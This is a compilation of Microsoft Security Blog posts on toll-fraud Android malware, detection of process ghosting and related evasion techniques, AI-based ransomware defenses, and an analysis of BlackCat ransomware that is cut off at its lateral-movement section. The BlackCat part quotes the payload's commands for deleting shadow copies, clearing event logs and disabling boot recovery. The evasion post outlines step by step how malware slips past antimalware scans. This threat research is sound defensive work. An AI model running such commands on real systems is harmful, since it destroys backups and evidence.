Initial APK file 2581aba12919ce6d9f89d86408d286a703c1e5037337d554259198c836a82d75 (com.cful.mmsto.sthemes)
Payload of stage two: Elf File (loader) 904169162209a93ac3769ae29c9b16d793d5d5e52b5bf198e59c6812d7d9eb14 (PhoneNumberAlternateFormatsProto_355, decrypted)
Payload of stage three: APK (hostile downloader) 61130dfe436a77a65c04def94d3083ad3c6a18bf15bd59a320716a1f9b39d826 (PhoneNumberAlternateFormatsProto_300, decrypted)
Payload of stage four: DEX (billing fraud) 4298952f8f254175410590e4ca2121959a0ba4fa90d61351e0ebb554e416500f

Common API calls and permissions

API Calls Permissions SDK
setWifiEnabled CHANGE_WIFI _STATE ACCESS_WIFI_STATE <29
requestNetwork CHANGE_NETWORK_STATE >28
setProcessDefaultNetwork   <23
bindProcessToNetwork   >22
getActiveNetworkInfo ACCESS_NETWORK_STATE  
getSimOperator    
get (SystemProperties)    
addJavascriptInterface    
evaluateJavascript   >18
onPageFinished    
onPageStarted    
onReceive for SMS BroadcastReceiver w/ android.provider.Telephony.SMS_RECEIVED RECEIVE_SMS >19
createFromPdu RECEIVE_SMS  
getMessageBody    
onChange for SMS ContentObserver w/ android.provider.telephony.SmsProvider’s content URI (“content://sms”) READ_SMS  
sendTextMessage    
onNotificationPosted    

References

The post Toll fraud malware: How an Android application can drain your wallet appeared first on Microsoft Security Blog.

Using process creation properties to catch evasion techniques

We developed a robust detection method in Microsoft Defender for Endpoint that can catch known and unknown variations of a process execution class used by attackers to evade detection. This class of stealthy execution techniques breaks some assumptions made by security products and enables attackers to escape antimalware scans by circumventing process creation callbacks using a legacy process creation syscall. Publicly known variations of this class are process doppelganging, process herpaderping, and process ghosting.

Evasion techniques used by attackers often involve running malware within the context of a trusted process or hiding code from filesystem and memory scanners. More sophisticated attackers even carefully choose their process host so that their actions are run by a process that often performs these actions for benign reasons. For example, a browser process communicating with the internet seems completely normal, while an instance of cmd.exe doing the same sticks out like a sore thumb. This class of stealthy execution techniques, however, allows malware to create its own malicious process and prevent antimalware engines from detecting it.

This blog post presents our detailed analysis of how this process execution class works and how it takes advantage of Windows functionalities to evade detection. It also presents a peek into the research, design, and engineering concerns that go into the development of a detection method aiming to be as robust and future-proof as possible.

Common classes of stealthy process execution

On Windows systems, most methods attackers use to run code within another process fall within two classes: process injection and process hollowing. These classes allow attackers to run their code within another process without explicitly creating it from an executable, or making it load a dynamic link library (DLL).  Similar classes of techniques are often also called process injection, but this term will be used in a more specific definition for clarity.

Process injection

Process injection, the widest and most common class, consists of different techniques that introduce attacker-supplied executable memory into an already running process. Techniques in this class consist of two main parts:

  • Write primitive: A Windows API function, or a set of APIs, used to introduce malware into the target process.
  • Execution primitive: A Windows API method to redirect the execution of the process to the code provided by the attacker.

An example of a classic process injection flow is malware using the VirtualAllocEx API to allocate a buffer within a target process, WriteProcessMemory to fill that buffer with the contents of a malware module, and CreateRemoteThread to initiate a new thread in the target process, running the previously injected code.

Process hollowing

In process hollowing, instead of abusing an already running process, an attacker might start a new process in a suspended state and use a write primitive to introduce their malware module before the process starts running. By redirecting the entry point of the process before unsuspending, the attacker may run their code without using an explicit execution primitive.

Variants (and sometimes combinations) of both classes exist and differ from each other mostly by the  APIs being used. The APIs vary because a different function used to achieve the goal of one of the steps may not go through the numerous points at which an endpoint protection product intercepts such behavior, which can break detection logic.

New stealth techniques

In the past few years, stealth techniques from a process execution class have emerged that don’t strictly fit into any of the previously mentioned classes. In this class, instead of modifying the memory of an already created (but perhaps not yet executing) process, a new process is created from the image section of a malware. By the time a security product is ready to scan the file, the malware bits aren’t there anymore, effectively pulling the rug from under antimalware scanners. This technique requires defenders to use a different detection method to catch attacks that use it. As of today, the following variations of this class are known publicly as the following:

  • Process doppelganging1: Abusing transactional NTFS features to create a volatile version of an executable file used for process creation, with the file never touching the disk.
  • Process herpaderping2: Utilizing a writable handle to an executable file to overwrite the malware bits on disk before antimalware services can scan the executable, but after a process has already been created from the malicious version.
  • Process ghosting3: Abusing a handle with delete permissions to the process executable to delete it before it has a chance to be scanned.

This process execution class, including the variations mentioned above, takes advantage of the way the following functionalities in the operating system are designed to evade detection by security products:

  • Antimalware engines don’t scan files after every single modification.
  • Process creation callbacks, the operating system functionality that allows antimalware engines to scan a process when it’s created, is invoked only when the first thread is inserted into a process.
  • NtCreateProcessEx, a legacy process creation syscall, allows the creation of a process without populating it with any thread.

The following sections explain in more detail how these functionalities are abused.

When are files scanned?

A key feature of this process execution class is circumventing a file scan. Ideally, files are scanned whenever they’re modified. Otherwise, an attacker could simply modify an existing file into a malicious one, use it to create a process, and then either revert the file or delete it. So, why aren’t files scanned on every file change?

The answer lies in performance concerns. Consider a scenario in which a 1MB file is opened, and it’s overwritten by calling an API like WriteFile for every byte that needs to be overwritten. While only 1MB would be written to disk, the file would have to be scanned one million times, resulting in ~1 terabyte of data being scanned!

While the example is a good way to assure no detectably malicious content is written to disk, the amount of computing power it will use up makes it an unviable solution. Even a caching solution would simply shift the high resource usage to memory, as a product would need to keep information about the content of every single open file on the machine to be useful.

Therefore, the most common design for file scanning engines ignores the various transient states of the file content and initiates a scan whenever the handle to the file is closed.  This is an optimal signal that an application is done modifying a file for now, and that a scan would be meaningful. To determine what the file is about to execute as a process, the antimalware engine scans the file’s content at the time of process creation through a process creation callback.

Process creation callbacks in the kernel, such as those provided by the PsSetCreateProcessNotifyRoutineEx API, is the functionality in the operating system that allows antimalware engines to inspect a process while it’s being created. It can intercept the creation of a process and perform a scan on the relevant executable, all before the process runs.

Process creation notification isn’t invoked right when a process creation API is called, but rather when the first thread is inserted into a process. But since NtCreateUserProcess, the syscall used by all common high-level APIs to create a process, is designed to do a lot of the work required to create a process in the kernel, the insertion of the initial thread into the created process happens within the context of the syscall itself. This means that the callback launches while the process is still being created, before user mode has a chance to do anything.

A screenshot of code with a list of process creation callbacks invoked from the syscall NtCreateUserProcess.
Figure 1. Process creation callbacks being invoked from NtCreateUserProcess

The call stack indicates that in this scenario, PspCallProcessNotifyRoutines, the function responsible for invoking process creation callbacks, is called from PspInsertthread during the insertion of the initial thread into the process. It also indicates that the subsequent process creation callbacks are all called from within NtCreateUserProcess, and that they both finish executing before the syscall returns. This enables the antimalware to scan the process for malware activity as it’s created. This works if the process is created using NtCreateUserProcess. However, as researchers have found, there are other ways to create a process apart from this syscall.

How are processes created?                                                                                        

The syscall NtCreateUserProcess has only been available since the release of Windows Vista. Processes created by the CreateProcess API or any API using the NtCreateUserProcess syscall only provide the path to the executable. Meanwhile, the kernel opens the file without any share access that could allow modification (no SHARE_WRITE/SHARE_DELETE), creates an image section, and returns to user mode with the process pretty much ready to run (most legitimate Windows processes would require additional work to be done in user mode to operate correctly, but the NtCreateUserProcess syscall does the minimum work needed for a process to execute some code). This means that an attacker doesn’t have the time or the capability to modify an executable file after calling NtCreateUserProcess, but only before it’s scanned.

Versions of the NT kernel prior to the release of Windows Vista used a different syscall called NtCreateProcessEx. This function doesn’t adhere to the principle of doing a lot of the work in the kernel and in fact delegates a lot of the work normally associated with process creation on modern Windows platforms to user mode.

Screenshot of code of the function signature of the syscall NtCreateProcessEx. Unlike NtCreateUserProcess, this syscall does not have contain code that receives a path argument.
Figure 2. The function signature of NtCreateProcessEx. Note the absence of a path argument and the presence of SectionHandle.

One difference between the two is that NtCreateProcessEx doesn’t receive a path to the process executable as an argument, as is the case with NtCreateUserProcess.  NtCreateProcessEx expects the application to open the file on its own and create an image section from that file, which will be used as the main image section of the process, and the handle to which will be passed to NtCreateProcessEx.

Also, unlike NtCreateUserProcess, NtCreateProcessEx  creates a process object without populating the process with any threads, and the user application needs to explicitly insert the initial thread into the process using an API like NtCreateThread.

A screenshot of a callstack with the invocation of PspCallProcessNotifyRoutine and PspInsertThread. It is observed that the invocation of both happens from within NtCreateThreadEx.
Figure 3. In this callstack, the invocation of PspCallProcessNotifyRoutine and PspInsertThread happens from within NtCreateThreadEx, not from within a process creation syscall.

Combining this information with what we know about process creation callbacks allows us to come up with a generic flow for this stealthy process creation technique:

  1. The attacker opens the malware file and brings it into a transient modifiable state (writable without closing a handle, delete pending or an uncommitted transaction, and some other unpublished ones) while having malware content. The attacker doesn’t close the file yet.
  2. The attacker creates an image section from the file handle using NtCreateSection(Ex).
  3. The attacker creates a process using the image section handle as input.
  4. The attacker reverts the file’s transient state to a benign state (the file is deleted or overwritten, or a transaction is rolled back), and the handle is closed. At this point, the bits of the malware still exist in memory as the image section object is still there, but there is no trace of the malware content on the disk.
  5. The attacker inserts the initial thread into the process, and only then will the process creation notification callback for that process be launched. At that point, there is no malware content left to scan.
  6. The attacker now runs the malware process without its backing file ever being scanned.

In this generalized flow, a security product should be able to detect any variation of the technique if it can recognize that the process was created using the legacy NtCreateProcessEx syscall, which allows an adversary to run the process from a file in a transient state.

Of course, one could circumvent the need for NtCreateProcessEx by performing a similar trick with loading DLLs. However, in this scenario, the adversary can either load a new DLL into a process they already have full code execution capabilities without changing its identity, or remotely place the offending DLL into another process, performing what is essentially process injection. In both cases, the technique’s effectiveness as an evasion method is greatly diminished.

Detecting legacy process creation

The first anomaly to recognize to detect attacks using this technique is to find out whether a process was created using the legacy NtCreateProcessEx syscall.

The simplest way to do so would be to utilize user-mode hooking on the appropriate function in the NTDLL library. However, this approach would be easy to bypass, as it’s assumed that the adversary has arbitrary execution capabilities in the process calling the syscall. This means they would be able to unhook any functions intercepted by a security product, or simply directly call the syscall from their own assembly code. Even if the security product was to traverse the user-mode call stack from a process creation callback and check the return address against known values, the product would still be subject to evasion since an attacker could employ some creative pushes and jumps in assembly code to construct a spoofed user-mode call stack to their liking.

To create a robust detection for this behavior, information that can’t be modified or spoofed by a user-mode adversary should be used. A good example of this is a Windows file system concept called extra create parameters (ECPs).

ECPs are concepts that allow the kernel or a driver to attach some key-value information to a file create/open operation. The idea is very similar to extended file attributes, but instead of applying to an entire file on disk, ECPs are a transient property related to a specific instance of an open file. This mechanism allows the operating system and drivers to respond to a file being opened under some special circumstances.

An example of such special circumstances is a file being opened via Server Message Block (SMB). When this happens, an SRV_OPEN_ECP_CONTEXT structure is added to the IRP_MJ_CREATE IRP with GUID_ECP_SRV_OPEN as a key.

This ECP context contains information on the socket used for the communication with the SMB client, the name of the share which has been accessed, and some oplock information. A driver would then be able to use this information to appropriately handle the open operation, which might need some special treatment since the operation happened remotely.  

Interestingly, an exported, documented function named FsRtlIsEcpFromUserMode exists to determine whether an ECP originated in user mode or kernel mode. This raises the concern that forgetting to use this function in a driver or the OS would cause potential security issues, as a user mode adversary could spoof an ECP. That isn’t the case, though, as there is no functionality in the OS which allows a user to directly supply any ECP from user mode. The function itself checks whether a specific flag is set in the opaque ECP header structure, but there exists no code in the OS which can modify this flag.

Using ECPs for process creation API recognition

Starting with Windows 10, a very interesting ECP has been added to the operating system whenever a new process is created using NtCreateUserProcess. The GUID_ECP_CREATE_USER_PROCESS ECP and its related CREATE_USER_PROCESS_ECP_CONTEXT context are applied to the IRP_MJ_CREATE operation when the Windows kernel opens the process executable file. This ECP contains the token of the process to be created. In fact, the function used to open the executable path was changed from ZwOpenFile to IoCreateFileEx specifically to support ECPs on this operation.

A screenshot of code showing the CREATE_USER_PROCESS_ECP_CONTEXT.
Figure 4. The CREATE_USER_PROCESS_ECP_CONTEXT

On the other hand, as covered earlier, NtCreateProcessEx doesn’t open the process executable on its own but instead relies on the user to supply a section handle created from a file opened by the user themselves. Seeing as there is no way for the user to set the process creation ECP on their own handle, any process created using NtCreateProcessEx would be missing this ECP on the IRP_MJ_CREATE for its main image. Some cases exist in which the ECP wouldn’t be present even when the legacy API wasn’t used, but those can still be recognized. Barring those cases, the existence of the CREATE_USER_PROCESS ECP in the IRP_MJ_CREATE operation of the file object related to the main image of the process can now be used to precisely differentiate between processes created by NtCreateUserProcess and those created by NtCreateProcessEx.

Detecting processes created from files in a transient state

Since it’s now possible to check when the legacy process creation API has been used, the next step would be to check if the usage of the legacy process creation API was used to abuse the time-of-check-time-of-use (TOCTOU) issue involving process creation callbacks. This means that the executable image used to create the process has been opened and used in a transient state, which would already be rolled back when it’s to be scanned by an antimalware engine. To identify if TOCTOU was abused, it is important to examine the image section of the main executable of the process.

Windows loads executable images into memory and shares their memory between processes using memory sections (also called memory-mapped files). Each FILE_OBJECT structure for an open file contains a member called SectionObjectPointers, which contains pointers to the data and image section control areas relevant to the file, depending on whether if it has been mapped as a data file or an executable. The bits described by such a section may be backed either by a file on disk or by the page file (in which case the bits of the section won’t persist on disk). This property determines whether the mapped section can be flushed and recovered from a file or disk, or simply paged out.

However, an interesting thing happens when the connection between an image section and its backing file is severed. This can happen if, for example, the file is located on a remote machine or some removable storage, Copy-on-Write has been triggered, or most importantly, if the file has been somehow modified after the section has been created or could be modified in the future. During such cases, the image section becomes backed by the page file instead of the original file from which it was created.

A screenshot of the resulting code when the connection between an image section and its backing file is severed. A line of code with the WritableUserReferences member being set is highlighted.
Figure 5. The control area of a section breaking coherency with disk. Note the WritableUserReferences member being set.

The MmDoesFileHaveUserWritableReferences function provides the caller with the number of writable (or, more correctly, modifiable) references to the file object of a section and is used by the kernel transaction manager to preserve the atomicity of transactions. Otherwise, a file can be written, deleted, or simply gone when a transaction is to be committed. This function can be used for detection because a non-zero return value means that section coherency has been broken, and the logic switching the backing of the section to the page file has been triggered. This can help determine that the file is in one of the same transient states needed to abuse TOCTOU and evade detection.

Detection through Microsoft Defender for Endpoint

The two primitives discussed earlier can now be combined into detection logic. First, the absence of the GUID_ECP_CREATE_USER_PROCESS ECP will verify if the process was created using the legacy API NtCreateProcessEx. Then, the function MmDoesFileHaveUserWritableReferences checks if the file’s image section is backed by the page file, confirming that the process was created while the file is in a transient state. Meeting both conditions can determine that TOCTOU has been abused, whether by any of the published techniques, or a variation of it that uses similar concepts but abuses a functionality built into a driver to create a similar effect.

Microsoft Defender for Endpoint can detect each of the known techniques in this class of stealthy process execution and gives out a specific alert for variations of process ghosting, herpaderping, and doppelganging found in the wild. Apart from the specific alerts for each variation, detections exist for the generalized flow and any abuse of the legacy process creation API, including unpublished variations.

A sample screenshot of the notifications from Microsoft Defender for Endpoint for detections related to process ghosting, herpaderping, and doppelganging.
Figure 6. Microsoft Defender for Endpoint detections for variations of process ghosting, herpaderping, and doppelganging.

This blog post shares Windows internals knowledge and showcases a new detection method in Microsoft Defender for Endpoint that can help prevent detection evasion. Since data and signals from Microsoft Defender for Endpoint also feed into Microsoft 365 Defender, this new detection method further enriches our protection technologies, providing customers a comprehensive and coordinated threat defense against threats.

The stealth execution techniques discussed further prove that the threat landscape is constantly evolving, and that attackers will always look for new avenues to evade detection. This highlights the importance of continuous research on potential attack vectors, as well as future-proof solutions. We hope that the principles presented in this blog post can be used by other researchers in developing similar solutions.

Philip Tsukerman, Amir Kutcher, and Tomer Cabouly
Microsoft 365 Defender Research Team


1 https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf

2 https://jxy-s.github.io/herpaderping/

3 https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack

The post Using process creation properties to catch evasion techniques appeared first on Microsoft Security Blog.

Improving AI-based defenses to disrupt human-operated ransomware

June 21st, 2022 No comments

Microsoft’s deep understanding of human-operated ransomware attacks, which are powered by a thriving cybercrime gig economy, continuously informs the solutions we deliver to protect customers. Our expert monitoring of threat actors, investigations into real-world ransomware attacks, and the intelligence we gather from the trillions of signals that the Microsoft cloud processes every day provide a unique insight into these threats. For example, we track human-operated ransomware attacks not only as distinct ransomware payloads, but more importantly, as a series of malicious activities that culminate in the deployment of ransomware. Detecting and stopping ransomware attacks as early as possible is critical for limiting the impact of these attacks on target organizations, including business interruption and extortion.

To disrupt human-operated ransomware attacks as early as possible, we enhanced the AI-based protections in Microsoft Defender for Endpoint with a range of specialized machine learning techniques that find and swiftly incriminate – that is, determine malicious intent with high confidence – malicious files, processes, or behavior observed during active attacks.

The early incrimination of entities – files, user accounts, and devices – represents a sophisticated mitigation approach that requires an examination of both the attack context as well as related events on either the targeted device or within the organization. Defender for Endpoint combines three tiers of AI-informed inputs, each of which generates a risk score, to determine whether an entity is associated with an active ransomware attack:

  • A time-series and statistical analysis of alerts to look for anomalies at the organization level
  • Graph-based aggregation of suspicious events across devices within the organization to identify malicious activity across a set of devices
  • Device-level monitoring to identify suspicious activity with high confidence

Aggregating intelligence from these sources enables Defender for Endpoint to draw connections between different entities across devices within the same network. This correlation facilitates the detection of threats that might otherwise go unnoticed. When there’s enough confidence that a sophisticated attack is taking place on a single device, the related processes and files are immediately blocked and remediated to disrupt the attack.

Disrupting attacks in their early stages is critical for all sophisticated attacks but especially human-operated ransomware, where human threat actors seek to gain privileged access to an organization’s network, move laterally, and deploy the ransomware payload on as many devices in the network as possible. For example, with its enhanced AI-driven detection capabilities, Defender for Endpoint managed to detect and incriminate a ransomware attack early in its encryption stage, when the attackers had encrypted files on fewer than four percent (4%) of the organization’s devices, demonstrating improved ability to disrupt an attack and protect the remaining devices in the organization. This instance illustrates the importance of the rapid incrimination of suspicious entities and the prompt disruption of a human-operated ransomware attack.

Line chart illustrating how Defender for Endpoint detected and incriminated a ransomware attack when attackers had encrypted files on 3.9% of the organization’s devices.
Figure 1: Chart showing Microsoft Defender for Endpoint incriminating a ransomware attack when attackers had encrypted files on 3.9% of the organization’s devices

As this incident shows, the swift incrimination of suspicious files and processes mitigates the impact of ransomware attacks within an organization. After incriminating an entity, Microsoft Defender for Endpoint stops the attack via feedback-loop blocking, which uses Microsoft Defender Antivirus to block the threat on endpoints in the organization. Defender for Endpoint then uses the threat intelligence gathered during the ransomware attack to protect other organizations.

Diagram with icons and lines depicting the incrimination and protection process.
Figure 2: Overview of incrimination using cloud-based machine learning classifiers and blocking by Microsoft Defender Antivirus

In this blog, we discuss in detail how Microsoft Defender for Endpoint uses multiple innovative, AI-based protections to examine alerts at the organization level, events across devices, and suspicious activity on specific devices to create a unique aggregation of signals that can identify a human-operated ransomware attack.

Detecting anomalies in alerts at the organization level

A human-operated ransomware attack generates a lot of noise in the system. During this phase, solutions like Defender for Endpoint raise many alerts upon detecting multiple malicious artifacts and behavior on many devices, resulting in an alert spike. Figure 3 shows an attack that occurred across a single organization.

Line chart depicting the spread of a human-operated ransomware in an organization.
Figure 3: Graph showing a spike in alerts during the ransomware phase of an attack

Defender for Endpoint identifies an organization-level attack by using time-series analysis to monitor the aggregation of alerts and statistical analysis to detect any significant increase in alert volume. In the event of an alert spike, Defender for Endpoint analyzes the related alerts and uses a specialized machine learning model to distinguish between true ransomware attacks and spurious spikes of alerts.

If the alerts involve activity characteristic of a ransomware attack, Defender for Endpoint searches for suspicious entities to incriminate based on attack relevance and spread across the organization. Figure 4 shows organization-level detection.

Diagram with icons showing organization-level anomaly detection, including monitoring for alerts, anomaly detection based on alert counts, analysis of each alert, and incrimination of suspicious entities on individual devices.
Figure 4: Overview of organization-level anomaly detection

Graph-based monitoring of connections between devices

Organization-level monitoring can pose challenges when attacks don’t produce enough noise at the organization level. Aside from monitoring anomalous alert counts, Defender for Endpoint also adopts a graph-based approach for a more focused view of several connected devices to produce high-confidence detections, including an overall risk score. For this level of monitoring, Defender for Endpoint examines remote activity on a device to generate a connected graph. This activity can originate from popular admin tools such as PsExec / wmi / WinRm when another device in the organization connects to a device using admin credentials. This remote connection can also indicate previous credential theft by an attacker.

As administrators often use such connectivity tools for legitimate purposes, Defender for Endpoint differentiates suspicious activity from the noise by searching specifically for suspicious processes executed during the connection timeframe.

Diagram with icons and arrows showing a typical attack pattern involving the command line as an initial attack vector via credential theft and compromised with tools such as psexec and wmi. The target then scans the network to connect to Active Directory and spread throughout the organization.
Figure 5: Diagram of a typical attack pattern from initial attack vector to scanning and lateral movement

Figure 5 shows a typical attack pattern wherein a compromised device A is the initial attack vector, and the attacker uses remote desktop protocol (RDP) or a remote shell to take over the device and start scanning the network. If possible, the attackers move laterally to device B. At this point, the remote processes wmic.exe on the command line and wmiprvse.exe on the target can spawn a new process to perform remote activities.

Graph-based detection generates the entities in memory to produce a virtual graph of connected components to calculate a total risk score, wherein each component represents a device with suspicious activities. These activities might produce low-fidelity signals, such as scores from certain machine learning models or other suspicious signals on the device. The edges of the graph show suspicious network connections. Defender for Endpoint then analyzes this graph to produce a final risk score. Figure 6 highlights an example of graph-based aggregation activities and risk score generation.

Diagram with text and arrows showing the aggregation of signals to produce a risk score for multiple devices. A numerical algorithm is used to analyze the risk score of each device based on suspicious activity.
Figure 6: Diagram showing the aggregation of signals to produce a risk score for multiple devices

Identifying suspicious activity with high confidence on a single device

The final detection category is identifying suspicious activity on a single device. Sometimes, suspicious signals from only one device represent enough evidence to identify a ransomware attack, such as when an attack uses evasion techniques like spreading activity over a period of time and across processes unrelated to the attack chain. As a result, such an attack can fly under the radar, if defenses fail to recognize these processes as related. If the signals are not strong enough for each process chain, no alerts will generate.

Figure 7 depicts a simplified version of evasion activity using the Startup folder and autostart extension points. After taking over a device, an attacker opens cmd.exe and writes a file to the Startup folder to carry out malicious activities. When the device restarts, the file in the Startup folder performs additional commands using the parent process ID explorer.exe, which is unrelated to the original cmd.exe that wrote the file. This behavior splits the activity into two separate process chains occurring at different times, which could prevent security solutions from correlating these commands. As a result, when neither individual process produces enough noise, an alert might not appear.

Diagram with icons and arrows depicting evasion activity using four different processes, wherein cmd.exe commands the device to restart and then open explorer.exe which appears as an entirely separate process.
Figure 7: Evasion activity split into two separate process chains occurring at different times

The enhanced AI-based detections in Defender for Endpoint can help connect seemingly unrelated activity by assessing logs for processes that resemble DLL hijacking, autostart entries in the registry, creation of files in startup folder, and similar suspicious changes. The incrimination logic then maps out the initiation of the first process in relation to the files and tasks that follow.

Human-operated ransomware protection using AI

Attackers behind human-operated campaigns make decisions depending on what they discover in environments they compromise. The human aspect of these attacks results in varied attack patterns that evolve based on unique opportunities that attackers find for privilege escalation and lateral movement. AI and machine learning present innovative methods for surfacing sophisticated attacks known for using advanced tools and techniques to stay persistent and evasive.

In this blog, we discussed enhancements to cloud-based AI-driven protections in Microsoft Defender for Endpoint that are especially designed to help disrupt human-operated ransomware attacks. These enhanced protections use AI to analyze threat data from multiple levels of advanced monitoring and correlate malicious activities to incriminate entities and stop attacks in their tracks. Today, these AI protections are triggered in the early stages of the ransomware phase, as the attack starts to encrypt data on devices. We’re now working to expand these protections to trigger even earlier in the attack chain, before the ransomware deployment, and to expand the scope to incriminate and isolate compromised user accounts and devices to further limit the damage of attacks.  

This innovative approach to detection adds to existing protections that Microsoft 365 Defender delivers against ransomware. This evolving attack disruption capability exemplifies Microsoft’s commitment to harness the power of AI to explore novel ways of detecting threats and improve organizations’ defenses against an increasingly complex threat landscape.

Learn how Microsoft helps you defend against ransomware.

Learn how machine learning and AI drives innovation at Microsoft security research.

Arie Agranonik, Charles-Edouard Bettan, Sriram Iyer
Microsoft 365 Defender Research Team

The post Improving AI-based defenses to disrupt human-operated ransomware appeared first on Microsoft Security Blog.

The many lives of BlackCat ransomware

June 13th, 2022 No comments

The BlackCat ransomware, also known as ALPHV, is a prevalent threat and a prime example of the growing ransomware-as-a-service (RaaS) gig economy. It’s noteworthy due to its unconventional programming language (Rust), multiple target devices and possible entry points, and affiliation with prolific threat activity groups. While BlackCat’s arrival and execution vary based on the actors deploying it, the outcome is the same—target data is encrypted, exfiltrated, and used for “double extortion,” where attackers threaten to release the stolen data to the public if the ransom isn’t paid.

First observed in November 2021, BlackCat initially made headlines because it was one of the first ransomware families written in the Rust programming language. By using a modern language for its payload, this ransomware attempts to evade detection, especially by conventional security solutions that might still be catching up in their ability to analyze and parse binaries written in such language. BlackCat can also target multiple devices and operating systems. Microsoft has observed successful attacks against Windows and Linux devices and VMWare instances.

As we previously explained, the RaaS affiliate model consists of multiple players: access brokers, who compromise networks and maintain persistence; RaaS operators, who develop tools; and RaaS affiliates, who perform other activities like moving laterally across the network and exfiltrating data before ultimately launching the ransomware payload. Thus, as a RaaS payload, how BlackCat enters a target organization’s network varies, depending on the RaaS affiliate that deploys it. For example, while the common entry vectors for these threat actors include remote desktop applications and compromised credentials, we also saw a threat actor leverage Exchange server vulnerabilities to gain target network access. In addition, at least two known affiliates are now adopting BlackCat: DEV-0237 (known for previously deploying Ryuk, Conti, and Hive) and DEV-0504 (previously deployed Ryuk, REvil, BlackMatter, and Conti).

Such variations and adoptions markedly increase an organization’s risk of encountering BlackCat and pose challenges in detecting and defending against it because these actors and groups have different tactics, techniques, and procedures (TTPs). Thus, no two BlackCat “lives” or deployments might look the same. Indeed, based on Microsoft threat data, the impact of this ransomware has been noted in various countries and regions in Africa, the Americas, Asia, and Europe.

Human-operated ransomware attacks like those that deploy BlackCat continue to evolve and remain one of the attackers’ preferred methods to monetize their attacks. Organizations should consider complementing their security best practices and policies with a comprehensive solution like Microsoft 365 Defender, which offers protection capabilities that correlate various threat signals to detect and block such attacks and their follow-on activities.

In this blog, we provide details about the ransomware’s techniques and capabilities. We also take a deep dive into two incidents we’ve observed where BlackCat was deployed, as well as additional information about the threat activity groups that now deliver it. Finally, we offer best practices and recommendations to help defenders protect their organizations against this threat, including hunting queries and product-specific mitigations.

BlackCat’s anatomy: Payload capabilities

As mentioned earlier, BlackCat is one of the first ransomware written in the Rust programming language. Its use of a modern language exemplifies a recent trend where threat actors switch to languages like Rust or Go for their payloads in their attempt to not only avoid detection by conventional security solutions but also to challenge defenders who may be trying to reverse engineer the said payloads or compare them to similar threats.

BlackCat can target and encrypt Windows and Linux devices and VMWare instances. It has extensive capabilities, including self-propagation configurable by an affiliate for their usage and to environment encountered.

In the instances we’ve observed where the BlackCat payload did not have administrator privileges, the payload was launched via dllhost.exe, which then launched the following commands below (Table 1) via cmd.exe. These commands could vary, as the BlackCat payload allows affiliates to customize execution to the environment.

The flags used by the attackers and the options available were the following: -s -d -f -c; –access-token; –propagated; -no-prop-servers

Screenshot of BlackCat ransomware deployment options and subcommands with corresponding descriptions.
Figure 1. BlackCat payload deployment options
Command Description
[service name] /stop Stops running services to allow encryption of data  
vssadmin.exe Delete Shadows /all /quiet Deletes backups to prevent recovery
wmic.exe Shadowcopy Delete Deletes shadow copies
wmic csproduct get UUID Gets the Universally Unique Identifier (UUID) of the target device
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services \LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f Modifies the registry to change MaxMpxCt settings; BlackCat does this to increase the number of outstanding requests allowed (for example, SMB requests when distributing ransomware via its PsExec methodology)
for /F \”tokens=*\” %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl \”%1\” Clears event logs
fsutil behavior set SymlinkEvaluation R2L:1 Allows remote-to-local symbolic links; a symbolic link is a file-system object (for example, a file or folder) that points to another file system object, like a shortcut in many ways but more powerful
fsutil behavior set SymlinkEvaluation R2R:1 Allows remote-to-remote symbolic links
net use \\[computer name]  /user:[domain]\[user] [password] /persistent:no Mounts network share
Table 1. List of commands the BlackCat payload can run

User account control (UAC) bypass

BlackCat can bypass UAC, which means the payload will successfully run even if it runs from a non-administrator context. If the ransomware isn’t run with administrative privileges, it runs a secondary process under dllhost.exe with sufficient permissions needed to encrypt the maximum number of files on the system.

Domain and device enumeration

The ransomware can determine the computer name of the given system, local drives on a device, and the AD domain name and username on a device. The malware can also identify whether a user has domain admin privileges, thus increasing its capability of ransoming more devices.

Self-propagation

BlackCat discovers all servers that are connected to a network. The process first broadcasts NetBIOS Name Service (NBNC) messages to check for these additional devices. The ransomware then attempts to replicate itself on the answering servers using the credentials specified within the config via PsExec.

Hampering recovery efforts

BlackCat has numerous methods to make recovery efforts more difficult. The following are commands that might be launched by the payload, as well as their purposes:

  • Modify boot loader
    • “C:\Windows\system32\cmd.exe” /c “bcdedit /set {default}”
    • “C:\Windows\system32\cmd.exe” /c “bcdedit /set {default} recoveryenabled No”
  • Delete volume shadow copies
    • “C:\Windows\system32\cmd.exe” /c “vssadmin.exe Delete Shadows /all /quiet”
    • “C:\Windows\system32\cmd.exe” /c “wmic.exe Shadowcopy Delete”
  • Clear Windows event logs
    • “C:\Windows\system32\cmd.exe” /c “cmd.exe /c  for /F \”tokens=*\” Incorrect function. in (‘ wevtutil.exe el ‘) DO wevtutil.exe cl \”Incorrect function. \””

Slinking its way in: Identifying attacks that can lead to BlackCat ransomware

Consistent with the RaaS model, threat actors utilize BlackCat as an additional payload to their ongoing campaigns. While their TTPs remain largely the same (for example, using tools like Mimikatz and PsExec to deploy the ransomware payload), BlackCat-related compromises have varying entry vectors, depending on the ransomware affiliate conducting the attack. Therefore, the pre-ransom steps of these attacks can also be markedly different.

For example, our research noted that one affiliate that deployed BlackCat leveraged unpatched Exchange servers or used stolen credentials to access target networks. The following sections detail the end-to-end attack chains of these two incidents we’ve observed.

Case study 1: Entry via unpatched Exchange

In one incident we’ve observed, attackers took advantage of an unpatched Exchange server to enter the target organization.

Diagram with icons and timeline depicting different attack stages, starting with the exploitation of an Exchange server vulnerability and ending with the deployment of BlackCat ransomware and double extortion.
Figure 2. Observed BlackCat ransomware attack chain via Exchange vulnerability exploitation

Discovery

Upon exploiting the Exchange vulnerability, the attackers launched the following discovery commands to gather information about the device they had compromised:

  • cmd.exe and the commands ver and systeminfo – to collect operating system information
  • net.exe – to determine domain computers, domain controllers, and domain admins in the environment

After executing these commands, the attackers navigated through directories and discovered a passwords folder that granted them access to account credentials they could use in the subsequent stages of the attack. They also used the del command to delete files related to their initial compromise activity.

The attackers then mounted a network share using net use and the stolen credentials and began looking for potential lateral movement targets using a combination of methods. First, they used WMIC.exe using the previously gathered device name as the node, launched the command whoami /all, and pinged google.com to check network connectivity. The output of the results were then written to a .log file on the mounted share. Second, the attackers used PowerShell.exe with the cmdlet Get-ADComputer and a filter to gather the last sign-in event.

Lateral movement

